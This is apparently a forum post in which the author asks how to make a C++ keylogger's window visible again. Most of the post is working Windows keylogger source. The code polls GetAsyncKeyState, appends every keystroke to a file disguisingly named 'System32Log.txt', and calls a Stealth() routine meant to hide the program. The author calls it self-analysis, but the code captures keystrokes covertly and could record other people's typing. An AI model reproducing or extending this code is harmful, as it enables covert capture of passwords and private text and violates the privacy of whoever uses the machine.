[C++] Making a windows 'unhidden'?

1

Hi there, I’m working on a simple self analysis keylogger. You can check out the repo above.

I am trying to unhide one of the windows, so there is two types of program you can compile and run. Keylogger visible, which stays open, and keylogger invisible, which hides itself. The file can be found on the repo above.

I currently have this:

#include "stdafx.h"
#include <iostream>
#include <windows.h>
#include <winuser.h>   

using namespace std;  
int Save (int key_stroke, char *file);
void Stealth();

int main() 
{
Stealth(); 
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
    if (GetAsyncKeyState(i) == -32767)
        Save (i,"System32Log.txt");
}
}
system ("PAUSE");
return 0;
}
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");  
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n"); 
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)              
fprintf(OUTPUT_FILE, "%s", "[TAB]");
    else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
    else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
        else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
        else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
            else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
            else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
                else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
                else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
                    else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
                    else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
                    else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
void Stealth()

Should I just remove all the void Stealth() and be done with it?

Thanks for the help in advance! :slight_smile:
